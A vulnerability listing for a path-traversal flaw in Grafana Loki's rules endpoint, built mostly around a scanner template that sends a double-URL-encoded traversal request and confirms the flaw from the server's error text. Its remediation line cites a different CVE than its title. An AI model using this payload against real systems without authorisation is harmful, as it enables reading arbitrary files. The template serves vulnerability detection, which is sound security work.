CVE-2026-21726: Grafana Loki < 3.6.4 - Path Traversal

2026-12-04 PoC Public

Description

Loki contains a path traversal caused by insufficient validation of the namespace parameter after single URL decode in /loki/api/v1/rules/{namespace}, letting attackers read arbitrary files, exploit requires crafted double-encoded request.

Details

CVE
CVE-2026-21726 · CVE.org
Severity
中危
Published
PoC
Public

PoC

id: CVE-2026-21726

info:
  name: Grafana Loki < 3.6.4 - Path Traversal
  author: s4e-io
  severity: medium
  description: |
    Loki contains a path traversal caused by insufficient validation of the namespace parameter after single URL decode in /loki/api/v1/rules/{namespace}, letting attackers read arbitrary files, exploit requires crafted double-encoded request.
  impact: |
    Attackers can read arbitrary files via path traversal, potentially exposing sensitive information.
  remediation: |
    Update to the fixed version that addresses CVE-2021-36156 or latest available version.
  reference:
    - https://grafana.com/security/security-advisories/cve-2026-21726
    - https://github.com/advisories/GHSA-497x-rrr9-68jp
    - https://github.com/grafana/loki/commit/7733ab110ab9dc02704fec30f6afdeaa3b4180fb
    - https://github.com/grafana/loki/compare/v3.6.3...v3.6.4
    - https://nvd.nist.gov/vuln/detail/CVE-2026-21726
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2026-21726
    epss-score: 0.0092
    epss-percentile: 0.61458
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 2
    vendor: grafana
    product: loki
  tags: cve,cve2026,grafana,loki,lfi,traversal

variables:
  marker: "{{rand_text_alphanumeric(12)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /loki/api/v1/rules/{{marker}} HTTP/1.1
        Host: {{Hostname}}
        Accept: application/yaml

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "error parsing", "no such file or directory", "{{marker}}")'
          - 'status_code == 400'
        condition: and
        internal: true

  - raw:
      - |
        GET /loki/api/v1/rules/%252e%252e%252f%252e%252e%252f{{marker}} HTTP/1.1
        Host: {{Hostname}}
        Accept: application/yaml

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "error parsing", "open ", "no such file or directory", "{{marker}}")'
          - '!contains(body, "path traversal not allowed")'
          - 'status_code == 400'
        condition: and

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - 'error parsing ([^:]+):'
# digest: 490a0046304402201b76bf1054d1134edecd84dd5f76d11cdabe96781593729d31bd6ef63e2c94ab02200bd1a3221bb044a3adc225c57f831c29f3196b65e22efa8b2ef97672f05dd611:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life